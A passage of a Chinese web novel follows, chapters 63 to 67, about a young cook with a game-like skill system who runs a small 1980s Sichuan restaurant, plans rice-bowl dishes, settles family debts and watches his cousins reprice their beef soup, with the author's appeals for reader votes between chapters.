旁边吃饭的客人闻言，纷纷看了过来。 …… 求追读！求月票！ 现在的追读太重要了，各位读者老爷，希望每天都来看看新章节，支持一下小破店！   (本章完) 第63章 我愚蠢的弟弟啊（求追读！） “蒜苗回锅肉，新菜啊。”王宏亮确实来了兴致，点头道：“行，你炒一份我们尝尝，这试新菜的机会可不多。” “回锅肉可是好菜，上回咱们在荣乐园吃的那一份，现在回想起来还是忍不住咽口水。”林志强也是笑着道。 “好的，你们稍等，我这就去做。”周砚转身进了厨房。 这两天，周砚验证了名人效应在这个时代依旧奏效，王宏亮和林志强来店里吃饭，觉得菜少，倒是个让他们把帮忙试菜的机会。 今天的事情闹那么大，周砚觉得肯定是林叔的功劳，毕竟他也只找过林志强一个人。 老厂长定然也出了手，不然一百块钱租金，怎么可能把孙美丽和王德发挑下马。 厂食堂一个月的流水超过三万，他们俩相好在食堂搅和了两年，不知摸了多少油水，一百块算啥？ 就为这人情，周砚给他们送份菜，那也是应该的。 就是这剩下的二刀肉吧，有点少，凑不够标准的一份。 红烧排骨先上的桌，烧菜回个锅就能出，快是最大的优点。 接着上的是藿香鲫鱼，这才洗锅开始炒回锅肉。 四两多的二刀肉，炒出来一盘蒜苗回锅肉其实也不少。 周砚拿了个陶碗装了半碗饭，先浇一勺剩下的牛肉烧笋子的汤汁，然后从盘子里夹了四块回锅肉和几片蒜苗盖在饭上，舀一勺刚热好的排骨，加几片泡萝卜。 这是周沫沫的晚饭，蒜苗回锅肉、红烧排骨双拼盖浇饭。 中午周砚答应她的，晚上还给她做回锅肉，她那份得给她单独夹出来。 这一夹，可不就剩三两多了。 周砚端着回锅肉出来的时候，周沫沫眼睛直勾勾盯着，看到端到了林志强他们那桌，嘴巴瘪了瘪，可委屈了，眼眶红红的，眼泪已经在眼眶里打转了，竟也忍住了没哭出来。 蒜苗回锅肉上桌，荤香飘散，引得客人们纷纷侧目。 “一份蒜苗回锅，用的半斤二刀肉，这份只有三两多点，不算一份整的，你们尝个味，给我这新菜点评几句。”周砚笑着说道，把肉的分量强调了一遍。 “嗯！这灯盏窝够正宗的！”王宏亮瞧着这盘回锅肉，眼睛顿时一亮，“上好的二刀肉，精准的刀工，恰到好处的火候，才能爆出这样正宗的灯盏窝。” “红亮的回锅肉，白色的蒜苗茎，绿色的蒜苗叶，红白绿三色鲜亮，看着就不错！” “尝尝。”王宏亮拿起筷子，夹了一块回锅肉，肉卷曲成灯盏窝状，拈起来颤颤巍巍，泛着油光，“瞧瞧这状态，拈起来油光一闪一闪的，这叫拈闪闪，说明这火候刚好到位。” 肉放在碗里，又夹了一截蒜苗茎夹在肉里一起吃。 一入口，王宏亮的眼睛就亮了，慢慢咀嚼，细细品味，咽下之后又扒拉了一口米饭，再尝了一块，吃完连连点头道： “香糯的皮子，入口即化的肥肉，略微弹牙的软嫩瘦肉，在齿间交锋，其中还夹杂着蒜苗的特殊清香。” “这一口下去，肥而不油，香而不腻。” “肉质特别好，用土灶大锅炒出来，味道格外香。” “好吃！” “蒜苗回锅肉做出这个味道，我觉得和荣乐园老师傅炒的已经没有啥子区别了，我来评价的话，就是巴适得板，下饭一流。” “您过奖了。”周砚笑眯眯地听着，老厂长还是有水平，懂吃，会吃，也会夸。 “丝毫不过，以前我觉得我炒的回锅肉，在苏稽镇上数一数二，国营饭店的范大厨我都是不服气的。”王宏亮有些感慨道：“但今天尝了你做的这个蒜苗回锅肉，我觉得以后只能算苏稽第二了。” 旁边的客人都伸长了脖子瞧，这道能被老厂长这般夸奖的蒜苗回锅肉，闻着香，看着更馋人，听完老厂长的点评，更是忍不住咽口水。 这蒜苗回锅肉，得吃啊！ 林志强也尝了一块，也是赞不绝口，最后总结道：“厂长说的没错，就算是荣乐园的老师傅炒的，也就如此了。” 本来专心啃排骨的林家兄弟，闻言盯上了那份回锅肉。 林景行先夹了一块尝，眼睛顿时一亮。 好香！软软糯糯的，好好吃。 林秉文有点迟疑，他不爱吃肥肉，这肉看起来可太肥了，便眼巴巴望着林景行道：“哥哥，好吃吗？” “不好吃，特别肥，你肯定吃不了一点。”林景行一本正经的说道，筷子已经夹起第二块回锅肉喂到嘴里了，嚼的可欢了，咽下后还不忘扒拉两口米饭。 “不好吃你一块接一块的？”林秉文看着那油润润的回锅肉，吞了吞口水。 “我又不怕肥肉，瞧见盘子里剩下的那块排骨没有，哥哥给你留的，赶紧吃吧，我吃点肥肉就好了。”林景行说道。 林秉文的目光果然被红烧排骨给勾走了，夹起那块排骨啃着，还不忘道：“哥哥，谢谢你。” “不谢，我的好弟弟。”林景行低头扒饭，含糊应了一声。 我愚蠢的弟弟啊。 肥美的回锅肉就让我来承受吧！ 周砚听完点评，心满意足的回了厨房，有厂长这几句，蒜苗回锅肉，稳了！ 这可把其他客人馋坏了，抓肝挠心，恨不得凑过去也来一筷子。 但那可是厂长和副厂长啊！ 谁敢？ 估计也就缫丝车间的赵东主任敢，他脸皮比较厚，而且嘴馋。 周砚从厨房把那碗盖浇饭端到快馋哭了的周沫沫面前。 “喔！”周沫沫大大的眼睛一下子瞪圆，一脸不可思议的看着盖满了回锅肉和排骨的饭，然后抬头看着周砚：“锅锅，我的？” “当然是你的，肉肉给你盖在上面了，还有排骨，慢慢吃。”周砚笑着往她手里塞了个勺子，没办法，四片回锅肉也不可能给她单独炒一锅，今天的晚饭只好让她跟着客人们先吃。 “要得！”周沫沫带着小奶音应了一声，拿着勺子，开始埋头干饭。 碗很大，她几乎把半张脸都埋了进去，吃的可香了。 回锅肉香糯，排骨软烂，米饭浇了一勺红烧牛肉汤，米粒被汤汁一泡，一口下去满是牛肉汤的香味，实在是太香了！ 周沫沫觉得这是她吃过最好吃最好吃的饭饭了！ “小口慢嚼哈，不许直接过吞。”周砚在旁边提醒道。 汤汁拌饭很香，但容易让人忘记咀嚼，没有嚼碎的米饭直接吞咽，对肠胃的负担会比较大，特别是周沫沫这样的小不点。 周沫沫舀饭的动作一顿，乖巧地先嚼起嘴里的饭粒，一口接一口，吃的还是格外香。 “老板，小姑娘吃的啥啊？怎么吃的那么香？”旁边那桌客人看了有一会了，忍不住好奇问道。 “红烧牛肉汤汁拌饭呢，上边盖了点回锅肉和红烧排骨，都是菜单上的东西。”周砚笑着应道，“真要起个名的话，那就叫蒜苗回锅肉、红烧排骨双拼盖浇饭。” “盖浇饭？”客人还是第一回听说，但又觉得这名还挺贴切的。 “所以，这盖浇饭多少钱一份啊？店里有的菜都能拼着盖吗？能拼多少种菜啊？”有个姑娘立马提出了自己的问题。 不少感兴趣的客人也是看向了周砚。 一个人来吃饭也能吃到几种菜，这不就实现了吗！ 天才啊！ …… 求追读哦！ 我绝顶聪明的读者大大们！   (本章完) 第64章 我的戒尺也未尝不疼！（第一更！） 周砚也没想到，本来只是想借着两位厂长给蒜苗回锅肉预热一下。 回锅肉是预热成功了，但没想到周沫沫随便吃个盖浇饭，引起了客人们那么大的兴趣。 周沫沫，才是饭店的带货一姐！ 实至名归。 一姐埋头干饭，周砚则是为客人们提出的问题思索起来。 盖浇饭这个品类，其实和面条有点类似，主打一个方便快捷。 因为省去了拉面煮面的环节，出餐速度甚至比面还更快。 盖浇饭最大的好处，大概就是……店里有啥盖啥。 炒菜、烧菜都能盖，不需要额外增加菜品和成本，属于衍生品。 盖浇饭确实好吃，以前在食堂吃饭，明明菜平平无奇，但只要打饭阿姨愿意给饭浇一勺肉汤，感觉这顿饭立马变得有滋有味。 但一份盖浇饭卖多少钱呢？ 菜价是不同的，拼着盖，价格变化可就多着了。 还得配个素菜，肉菜单价太高，肉的比例高了会拉高盖浇饭的价格。 盖浇饭属于快餐，那就得有性价比才行。 具体的价格梯度，还得根据菜量来定，加不同的菜，价格肯定是不一样的。 各种想法在脑子里快速过了一遍，周砚微笑道：“盖浇饭暂未确定推出，如果真要推出盖浇饭的话，价格会按照不同的菜品来定，大概可以参考面的价格。” “那你可一定要出啊，这样一个人也能来吃饭了，价格要是能便宜点就好了。” “就是，这盖浇饭看着好方便，吃着也香。” “我这人害羞，有时候和朋友吃饭都不敢多夹菜，吃完又后悔没吃够自己那一份，你要是出盖浇饭，我肯定经常来吃！” 客人们纷纷开口，眼里满是对盖浇饭的期待。 林景行更是端着饭碗凑了过来，“周砚哥哥，你能不能也给我加一勺牛肉汤？” “哥哥，俺也一样。”林秉文端着饭碗屁颠屁颠就跟了过来。 “行，我给你们加。”周砚笑着接过两人的饭碗，转身进了厨房。 其他客人嘴巴动了动，最终还是忍住没开口。 啊，这该死的年纪！ 汤汁浇饭，吃的那叫一个香。 王宏亮和林志强边吃边闲聊，不过都很有默契的避开了孙美丽和王德发的话题，这让旁边竖着耳朵想听八卦的工人们落了空，就差张口直接问了。 他们这桌来得晚，等他们吃好的时候，店里只剩零散两三桌客人。 “同志，结账。”王宏亮摸出钱包，冲着赵铁英吆喝道。 “厂长，我来，我来。”林志强连忙起身掏钱包。 王宏亮笑着伸手按住他的手，开口道：“志强，我喜欢跟你这个人相处，是因为你是知识分子，是技术员，没得那些弯弯绕绕的心思，跟你相处起来很轻松，就像朋友一样。朋友嘛，要有来有往，前天你请，今天我请，才能长久。” “我还带着两个孩子……”林志强有些不好意思。 “两个娃娃喊我大爷，一起吃饭是应该的嘛。”王宏亮笑道。 “行，听厂长的。”林志强闻言也就不再抢着结账。 “一共……”赵铁英过来。 “一共三块八。”周砚接上话。 “少了吧？”王宏亮看着他，“回锅肉呢？” “回锅肉是邀请你们试吃的，哪能收钱呢，就您刚刚点评那几句，我这回锅肉明天肯定不少卖。”周砚笑着说道。 “这小子，脑袋瓜是真灵光。”王宏亮也笑了，看着林志强道：“难怪川美的苏主任说他懂广告，一点没说错啊。” “他打广告，咱们吃免费回锅肉，大家都赚了。”林志强笑道。 “来，饭钱给你。”王宏亮摸出钱来，数了三块八递给周砚，又说道：“小周啊，今天中午厂食堂财务部临时找你加房租的事情，我已经知晓并严肃处理，你可以放心继续经营这家饭店，到年底租金为止不会有变化。” “等到年底，厂里会根据经济发展，适当调整租金，涨幅参考苏稽镇上的商铺租金，浮动不会太大。” 周砚听完，郑重道：“有您这话，我就能放心把店开下去了，谢谢您明察秋毫，一心为民。” 王宏亮是纺织厂的一把手，他说话，管用。 这样一来，他以后就不需要为租金发愁了。 王宏亮摆摆手，“这事要谢，你得谢志强和王薇那丫头，不然我还不知道这回事呢。” “王薇？”周砚有点诧异，林志强是他搬的救兵，是该谢，但王薇……王……。 周砚想到了早上林志强的话，看着王宏亮意识到了一些东西。 王薇同志，那么低调的吗？ 具体情况，周砚也不好当着其他客人的面细问，闲叙几句后，把一行人送出门。 “再见，沫沫妹。”林家两兄弟冲着周沫沫挥手。 “再见，小锅锅。”周沫沫站在周砚脚边，也是冲着他们挥手。 林志强先上车，把林秉文拎到车杠上坐着，林景行已经助跑跳上了后座。 “爸爸，你真不把我哥送去当厨师吗？别人的哥哥都会做饭。” “爸，你别理他，你和妈真不生个妹妹嘛？别人的妹妹好可爱啊。” 林志强被他们闹得头疼，板着脸道：“赶紧回去写作业！今天你妈不在，我给你们检查作业，等会我去跑了步回来，你俩要是没写完，我的戒尺也未尝不疼！” “我看也不怎么疼。” “反正没我妈的疼。” “小兔崽子，皮痒了是吧！”林志强伸手掐了一把林秉文的脸，也是忍不住笑了。 没办法，他们家只有孟安荷能制的住这俩娃。 不过这也是他们刚生娃那会就定下的教育方针，一个扮红脸，一个扮白脸，要管着孩子，也得让孩子感受到家庭的温暖，父母的关爱。 这些年下来，两个孩子成绩在中上游，不算拔尖，但性格不错，在学校挺受老师同学喜欢的。 他们挺满足的，第一次当爸妈，做到这样已经超出预期。 第一名只有一个，其他孩子也得活不是。 真要逼着他们去考第一，先活不下去的肯定是他俩。 …… (本章完) 第65章 熊嘎婆（第二更！求追读！） 周砚留了两条鲫鱼当晚上的菜，墙上的菜单全部进入估清区，今日营业结束。 后半段客人不多，赵红闲着没事把碗洗的差不多，最后一摞碗收进厨房，赵嬢嬢帮着清，她便下班坐着周飞的自行车回去。 “我刚刚问了周飞，他们兄弟伙红包就统一包十块钱，周海他们也是这个意思。”周淼进了厨房，看着正在煎鱼的周砚说道：“他们商量了下，觉得你是最小的弟娃，你不用给红包。我觉得这样不合适，就说你也会给。” “爸，你说得对，浩哥结婚，红包我肯定是要给，不然嫂子怎么想。”周砚把鱼翻了个面，笑着道：“十块钱我还是拿得出来的，你们呢？你们要包好多？” “我们当长辈的，按照现在的行情，二十块钱免不了的。”坐在灶台后烧火的赵嬢嬢接过话茬，“你二嬢他们这次办的排场不小，花销也大，我们肯定要支持一下，反正过两年你办他们一样会回礼。” “你们手里还有二十块吗？”周砚笑着问道。 赵嬢嬢往灶里塞柴火的动作一顿，老周同志脸上的笑容也是多了几分尴尬。 他们那点存款，全都投进了周砚这个店里，包括老周同志的小金库也掏空了。 这些天老周杀牛、卖肉倒也存了点钱，但其中大头是要留着买牛用的，每天都要流转的钱，动不得。 “一会我给你们拿二十，算是我还给你们的。”周砚笑着说道。 “你店里要用钱，我们自己想想办法就行。”老周摇头。 “我有。”周砚一句话给他顶了回去。 老周和赵嬢嬢闻言也就没再推辞，这两天店里生意好，二十块钱周砚的确有。 周砚端着藿香鲫鱼出厨房，从钱柜里翻出两张大团结，递到了赵嬢嬢手里，“剩下的钱，我下个月一起还给你们。” “还啥子，那钱拿给你开店，我们就没想过要拿回来，你自己存好，以后娶媳妇花钱的地方还多着呢。”赵嬢嬢捏着两张大团结，笑着说道：“拿这二十就够了，你老汉杀牛赚的到钱。” “那不行，开店的时候我就说了是借，等我赚到钱了肯定要还，到时候你不要，我就把钱给我老汉。”周砚笑吟吟道。 “他敢！”赵嬢嬢眉梢一挑。 “老婆，你收，你收。”老周同志立马摆手，又瞪了周砚一眼，“你要记住，这个家，只有你妈才能管钱。” 好大儿，还想坑爹呢！ 平时塞个十块、五块的零花钱也就算了。 五百！ 周砚敢塞，他也没胆拿啊。 赵嬢嬢没点头，但心里乐着呢，嘴角挂着笑。 “锅锅，他们不收，我收！”周沫沫吃过晚饭了，坐旁边玩，听了一会向周砚伸出了小手：“我买糖糖吃。” “给你一毛钱，你自己去买。”周砚往她手里放了一毛钱，作为她当初的投资分成。 “谢谢锅锅！”周沫沫拿着钱，凑过来抱着周砚的脸吧唧了一口，转身就要往门外跑。 “你上哪去？”赵嬢嬢喊道。 “去小卖部买糖糖。”周沫沫应道。 “给老子站到！天都要黑了你去买糖糖，等会被熊嘎婆抓走你才晓得哭。”赵嬢嬢严肃道。 周沫沫脚步一顿，脸上露出了几分害怕，“妈妈，真有熊嘎婆？” 赵嬢嬢幽幽道：“你不信你就去嘛，反正我是听说她吃小孩的手指可凶了，一颗一颗，就像吃胡豆一样，嘎嘣脆，专门等天黑了出来抓落单的小娃娃。” “哇！我不去了……”周沫沫一下扑进了周砚的怀里，埋着脑袋，“锅锅，我害怕。” “不怕，只要有大人在，熊嘎婆就不敢来。”周砚笑着摸了摸她的脑袋，“晚上小娃娃一个人是不能出门的，必须要有大人陪，晓得不。” “嗯嗯。”周沫沫抬起头来，两眼包着泪，可怜兮兮：“那我……那我明天再买。” “要得，明天妈妈带你去买。”赵嬢嬢也是笑着摸了摸她的脑袋。 “昂。”周沫沫点头，转投赵嬢嬢的怀抱，“我要吃大兔兔。” 熊嘎婆应该是不少川渝人的童年阴影，周砚来蓉城上大学后，听本地室友讲过一回。 其实就是狼外婆的川渝版本，已经吓不住大学生了，但对三岁半的奶娃刚好合适。 这年岁，可不是什么纯真年代。 这两年严打是因为犯罪率太高，社会秩序混乱，出了几个轰动全国的大案，必须上雷霆手段整治。 之前拦路抢劫、拐卖妇女儿童等案件频发，打了一年，治安变好不少，地痞流氓基本安分了。 但上个月隔壁村还是有个小孩在自家门口被偷走。 天一黑，谁也不敢让孩子离开自己的视线。 周沫沫长得那么可爱，绝对是人贩子的优先目标。 赵嬢嬢也就在这种时候，才会祭出熊嘎婆这个大杀器，镇住不安分的周沫沫。 一代人有一代人的熊嘎婆，让小孩对这个美好的世界有点防备心，周砚觉得挺好的。 傻白甜可太容易被猪拱了。 虽然周沫沫才三岁，但周砚已经开始想着防黄毛了。 “对喽，他们说的那个啥子盖浇饭，你打算卖吗？”赵嬢嬢问道。 “盖浇饭我觉得可以卖，这个客户群比吃小炒的更大，而且出餐快，翻台也快，跟吃面是一个道理。”周砚说道：“但要把份量、配菜、价格都定好了再上菜单，要让客人吃了觉得划算，又吃的满意。” 赵嬢嬢没听太明白，但还是点头道：“好嘛，你要做就做，要我干啥你安排就行。” “要得。”周砚点头，这事他还得花时间好好琢磨一下。 盖浇饭可以作为一个拓展品类，适合那些不想跟别人一起吃，想把自己出的那份钱完整吃回来的客人。 大部分工人在上班时间是没有请客需求的。 工作餐，美味实惠是关键。 吃过晚饭，天已经快黑了。 随着饭店生意日渐变好，他们的下班时间也在不断推迟。 “明天开始，我们换到营业前干饭，免得饿肚皮。”周砚和坐在后座上的赵嬢嬢说道。 “要得，今天晚上我硬是有点饿了。”赵嬢嬢表示赞同。 目送赵嬢嬢他们离开，周砚挂上锁，提着一罐酸萝卜出门跑步。 周砚到家属大院的时候，林志强正在热身，应该热了有一会了，头上全是汗。 “小周，来了啊。”瞧见周砚，他笑着招呼。 “林叔，等久了吧？”周砚小跑着上前，笑着道：“这是给景行和秉文带的酸萝卜，孟姐上回不是说他们俩爱吃吗，我估摸着应该吃完了，给他们再带点。” 你们太牛了，两千月票马上满！ 加更加更！ 第二更直接连发奉上，还有一更明天安排！ 这几天求大家继续追读一下！下月一号上架，轻语会努力爆更的！   (本章完) 第66章 他有自己的节奏（第三更！求追读） “我也刚热完身。”林志强瞧着周砚递来的玻璃罐，里边装了满满一罐红皮萝卜条，笑着接过，“你太有心了，他俩前天就念叨着让我去你那再要点，我总忘，没你这酸萝卜，他们现在早上的粥都咽不下去，我就不跟你客气了。” 林志强把酸萝卜放家属院保卫室，出来跟周砚小跑着往前，边跑边聊。 “王薇是个好同志，今天要不是她实名举报孙美丽贪腐做假账，租金这个事也就是暂时搁置，他们肯定还会再想办法整你。这下就看保卫科和纪委查出来的金额大小，说不定牢底都得坐穿……” 林志强把事情跟周砚讲了个大概。 周砚听完有点震惊，着实没想到王薇竟然实名举报，把孙美丽直接拉下马。 刚！ 太刚了！ 这女同志看着和他差不多年纪，刚中专毕业到纺织厂上班一年，反手就把上司送去吃牢饭。 导火索确实是他。 王薇是看他可怜，所以才临时决定实名举报的，按照她原本的计划，还会再收集一段时间的证据，去跟踪排查食材供应商。 “王薇同志真是中专会计专业毕业，不是警察学校？”周砚听完有点懵，忍不住跟林志强确认。 林志强笑着道：“专业是没错，不过他爸好像是个老刑警，蓉城市局的。” “原来如此，虎父无犬女，巾帼不让须眉啊。”周砚不禁赞叹，他欠人一个人情，回头请她吃顿饭？ 林志强又道：“其实瑶瑶也很厉害的，连续三年专业第一，画画还拿过很多奖，这还没毕业，好几个省设计院就在抢人了。” “啊？对对对，夏瑶是很优秀……” 周砚不知道林叔怎么突然把话题转到了夏瑶身上，但还是把话给接上了。 这件事没聊太久，话题一转，林志强开始聊年初的邓公南巡，再到十四座沿海港口城市开放，以及大规模的下海潮和民营企业创办。 周砚更多时候都是听着，毕竟这些事件，在书本里也就只是简短的几句话，从林志强的口中叙述出来，让他也有了参与感，至少自己也是时代的砂砾嘛。 “小周，你觉得对吗？”林志强说的兴起，回头看着他问道。 “我觉得林叔的判断是对的，鹏城、上海、羊城等沿海城市，充满了机遇，未来定然成为中国经济发展的领头羊。”周砚笑着点头。 “英雄所见略同，这是大势所趋，顺势而行，抓住一个机会就能腾飞。”林志强看着远方，眼里有光。 周砚看着他，心中不免升起了几分敬佩之意。 三十八岁的国营大厂副厂长，前途无限，但他看到的却是更为深远的国家大势，并且准备参与其中。 林叔下海之心蠢蠢欲动。 周砚毫不怀疑，以他的能力和眼界，有机会成为时代弄潮儿。 至于周砚，他没那么大的野心，也没那么大的能力。 时代的一个浪花都可能把他淹死，他现在只想踏踏实实地经营好周二娃饭店，先把账还清，让爸妈和周沫沫过上好日子。 钱要挣，日子悠闲过，他有自己的节奏。 把这小饭店一点点做大做强，赚的一天比一天多，他可太喜欢这种感觉了。 …… “146.3元！” “桀桀桀！” “又创新高！” 周砚在纸上记下今天的净利润，笑容逐渐反派化，跑步回来洗了澡，开始他每天最爱的记账环节。 今天的营业额再创新高，达到了288.6元，比昨天增加了五十多元。 这就是名人效应+蹭热度起到的效果，确实显著。 除去今天还给他妈的20元，手里余额有388.74元。 离他还完所有外账，还差299.78元。 今天星期三，还有三天时间，赚够三百就收手。 把捆好的钱放进钱柜，周砚没有急着上楼，而是拿出纸笔开始算盖浇饭的价格。 半个小时后，周砚放下笔，把两张纸揉成一团丢进垃圾桶。 价格体系很混乱，没有低价菜作为搭配，盖浇饭的性价比拉不起来。 价格无法下探，也就引不到更多的客人。 即便原本点炒菜的客人愿意吃盖浇饭，对营业额不会有显著增长，反倒会导致饭店的定位变得混乱。 盖浇饭偏向于快餐，而饭店目前的菜品单价相对食堂大锅菜是偏高的，靠着味道锁定了一部分客人。 周砚目前要做的应该是用味道和用餐体验锁定这批高价值客户，靠相对高客单价来保证营业额。 一味追求客人数量，除了让后厨变得更加繁忙混乱，不一定能挣到更多的钱。 目前后厨就他一个人大包大揽，这是必须考虑的问题。 周二娃饭店能够站稳脚跟，靠的从不是低价，而是味道。 食堂的食材购买价格比他便宜一半，还能拿厂里的补贴，一份回锅肉敢卖五毛五，他怎么跟？ 当然，后续如果他能开发出一些更具性价比的菜品，后厨招到合适的帮手，再拓展盖浇饭作为新的增长点也不迟。 周砚要做的，是一个大碗上盖满三样菜，价格控在六毛左右，让客人吃的满意，他还能有一半利润的盖浇饭。 目前饭店菜单上的菜无论怎么组合，价格都不会低于一块钱，基本无解。 账本丢进钱箱，提着上楼。 开店最重要的就是成本和利润核算，必须做取舍，才能经营好一家饭店。 周砚采访过的那些餐饮老炮，成为他开饭店最宝贵的经验包。 躺在床上，他拉出系统面板扫了一眼： 【玩家：周砚】 【职业：厨师】 【财富值：342.08】 【职业技能】： 刀工（高级）：2600/100000（有一腚的水平） 火候（中级）：4488/10000（乌龟走读——鳖不住校了） 调味（中级）：4688/10000（老太太爬楼梯——不服（扶）不行） 口才（高级）：88890/100000（麻雀啄牛屁股——雀食牛逼） 周砚目光一顿，这狗系统，烂梗真多。 刀工突破高级之后，依旧稳步提升，火候和调味也有明显提升。 这其实是周砚自己能够感知到的，只是系统给出了量化的数据。 他能把五花肉切成均匀的2毫米薄片，也能把猪耳朵、猪舌头、黄瓜、土豆切成均匀的薄片，刀工不会随着食材的变化而消失，而是真正成为他的技能。 火候、调味的提升，同样如此。 比如他这两天炒的青菜，明显比上个星期一炒的好吃不少。 这就是火候、调味的提升，带来的改变。 系统奖励的菜品，并非单独的技能包。 类似做法的菜，周砚上手肯定会更快。 比如掌握了蒜苗回锅肉的他，想做青椒回锅肉，并不需要重新再学这道菜，只需对食材做出调整，再对火候和调味进行不断地测试即可。 目光下移，是熟悉的菜品，除了拍黄瓜，依旧全是高级。 【掌握菜品】： 双椒牛肉拌面（高级）：99999/100000 …… 蒜苗回锅肉（高级）：99999/100000 拍黄瓜（中级）：1871/10000 …… 特殊技能：食物鉴定（大师）：999999/1000000（不可升级） 【主线任务：制霸纺织厂：任务进度：712/1000】 【支线任务：拾取初始老卤水，开启卤味烹饪之旅！任务奖励：卤味大典，任务进度：0】 【财富商城】：财富值达到1000开启。 …… “这财富商城，也快开启了啊！”周砚不禁有些期待起来了。 …… 第二天。 码头。 周杰换上了新招牌，‘周记跷脚牛肉’的牌牌换掉了原本的‘周记汤锅’。 原本四毛钱一碗的汤锅，也改成了：跷脚牛肉——五毛钱一碗！跷脚牛肉（加牛肉）——六毛钱一碗！ 隔壁搬回来的周亮亮和吴桂花看着那新招牌，眼睛都直了。 “我尼玛？码头都卖六毛啊！” 2000月票加更奉上！ 求追读，求月票！   (本章完) 第67章 我刚刚说话是大声了一点（求追读！） 前几天进军纺织厂大门口失败后，周亮亮紧急撤回码头。 那天傍晚他把面条和臊子拉到码头，吆喝着以两毛钱一份的价格做了处理，倒是全部卖完回了点血。 码头这边，对于物美价廉的面条，接受度还挺高，这让他嗅到了一丝商机。 第二天开始他就把面摊也一起支上，只卖两种臊子，一碗面卖三毛钱，一天能卖个二十来碗，额外多挣个两块钱。 这可把他们夫妻俩高兴坏了，虽然亏了几十块，但也不是完全没有收获。 让他没想到的是，周杰跑周砚店里干了三天，回来之后竟然把招牌一换，汤锅变跷脚牛肉，从四毛钱涨到了六毛钱一碗？ 要知道在这码头上，周杰原来卖四毛钱一碗已经是最贵的汤锅。 “周砚卖六毛，他也卖六毛，那他们兄弟俩岂不是比以前挣得还多了？”吴桂花有点酸。 他们卖三毛钱一碗，一天也就卖个二三十碗，挣一两块钱。 周杰他们四毛一碗能卖上百碗，一天挣一二十呢。 “哼，我看不一定，咱们这次失败，我总结出一个经验，那就是要在合适的地方卖合适的东西。”周亮亮轻哼了一声，信心满满道： “周砚在纺织厂能卖的起价是因为纺织厂的工人确实有钱，但码头这边多是干苦力的，周杰他们卖四毛钱已经是极限，多出来那两毛钱，别家都可以再喝一碗汤锅了，哪有这种冤大头。” “有道理。”吴桂花闻言眼睛一亮，“他们要是嫌贵，会不会来咱们家吃？” “有可能哦，毕竟挨着的就是咱们家嘛。”周亮亮点头，也是有些期待起来。 临近中午，码头上来吃饭的客人渐渐多了起来。 不少人目标明确，直奔周杰他们摊位来。 “周杰，有两三天没看到你，去做啥子了？” “就是，前天还摊摊都没有摆，我来吃汤锅扑了个空。” 有客人熟络的和周杰笑着打招呼道。 说话间，已经有六七位客人过来。 周杰笑着道：“这两天找大师学手艺去了，以后我们这汤锅不叫汤锅，叫周记跷脚牛肉。” 客人们闻言，这才注意到换了招牌和价目表。 “六毛钱一碗？你……你这也涨的太多了吧？” “硬是！本来四毛钱一碗，你娃娃做的味道好，我们也愿意捧场吃，但是你涨成六毛钱一碗，哪个吃得起哦！” 客人们看到价格涨了两毛，都有些气恼。 一旁支着耳朵听的周亮亮夫妇，已经忍不住开始笑了。 周海看向周杰，有点心慌。 周杰倒是一点不慌，笑眯眯道：“大家不要急，我们兄弟俩卖汤锅大家都晓得，一心做好汤，没得歪心思。这次我确实是去找我弟娃周砚学了古法汤锅的做法，也就是跷脚牛肉的做法。 为啥子我们的跷脚牛肉要卖六毛钱呢？因为我们这锅汤里面加了多种香料、中药，具有祛湿、驱寒、养胃、滋阴补阳的功效，这已经不仅仅是一锅汤味鲜美的汤锅，而是一道从周村老中医传承下来的药膳。” 周杰这番话听得客人一愣一愣的。 “啥子跷脚牛肉，听都没听过，你说的这些功效，怕是豁人的哦。” “就是，真有那么好的功效，还要医院干啥子，都给你医完了。” 但客人也不是那么好忽悠的，抬杠更是一等一的好手。 周杰抬了抬手，一旁的周海把锅盖掀开。 热气升腾而起，携着浓郁的肉香，向着客人们扑面而去。 “嗯？有点香！” “这味道，和之前是不太一样了哦。” 客人们眼睛一亮，都被这高汤的香味给吸引了。 再看那口大锅，满满一锅汤，色泽清亮，一点杂质都没有，看着就舒心。 “口说无凭，大家都是熟客，你们先尝尝这个汤味如何，要是味道不好，碗给我甩了我都认。”周杰拿了土碗，一人先盛了小半碗汤，直接递到那几个熟客的手里。 碗都递到手里了，热汤香气四溢，周杰又面带笑容，客人们也就不好推脱，端起碗吹了吹热气，喝了起来。 这边的动静，引来了不少看热闹的。 有摆摊的摊贩，也有吃饭的客人。 六毛钱一碗的汤锅，够稀奇！ 熟客要是接受不了，周杰这两年做起来的招牌，怕是要砸在手里。 “嗯！这汤硬是鲜哦！比之前好喝多了！” “鲜得眉毛都飞了！里边加了些啥子？一点点牛杂的膻味都没得，简直绝了！” “是有点点中药的味道，但起到了提鲜增香的效果，喝下去，确实感觉浑身暖和和的。” 几个熟客陆续喝完了，一个个神采飞扬，赞不绝口。 周杰兄弟俩的汤锅，在这码头上绝对是一流的，牛杂收拾的干净，汤味也不错，所以客人哪怕多加一毛钱，也愿意捧他们的场。 但今天这碗汤，味道比之前好太多了！ 他们都是一个星期来喝两三回的常客，一口就能喝出差别来。 这些客人的表现，让围观的人们都有些意外，也有些好奇。 这汤，真有那么鲜？有那么好喝？ “汤味是好，不过你这价格涨得也太多了嘛。”有个大叔手里端着碗，语气软了几分。 其他几位客人也是纷纷点头，一碗加两毛钱，太多了。 “其实一碗比起之前只加了一毛钱，你看，这样子一碗是五毛钱，里边加了牛肠、牛板筋、毛肚、还有牛心，份量和之前是一样的，东西更好了，而且我加的中药都是资格的好东西，成本比起之前高了不少。”周杰当场给烫了一份常规款跷脚牛肉，展示给客人们瞧。 说着，他又夹了四片牛肉丢锅里汆烫几下，牛肉还略微带点粉色，立马出锅盖在那碗汤锅上：“这样一份加牛肉的跷脚牛肉，才是六毛钱。说实话，加的这一毛钱，我一分钱没挣，实打实的新鲜吊龙，切这么大四片，就是为了让你们一毛钱也能吃到鲜吊龙。” “牛肉好多钱一斤，你们晓得撒，吊龙你们有钱都不一定买得到，供销社就没摆出来过，都是关系户先订走了的。” “现在你们来说说看，这样一份跷脚牛肉，卖六毛钱贵不贵？” 现场顿时沉默了。 大家心里都有个算盘，这会正啪啪打着呢。 “我承认，我刚刚说话是大声了一点，这碗跷脚牛肉先给我嘛，我吃了还要去嘉州办事。”先前说话的大叔把手里的土碗递过来，“倒过来就可以，这碗我用过，你免得多洗个碗。” “我也要一碗，加牛肉的！就用我这个碗。” “我觉得不贵，我要来一碗，也是要加吊龙的。” 其他人坐不住了，纷纷把手里的碗递向周杰。 值不值？ 还用说吗？简直超值！ 这汤味确实好，单凭味道多加一毛钱他们也能接受的，加了中药和香料，成本有所提升，也能理解。 但再加一毛钱，吃四片吊龙。 那需要犹豫吗？ 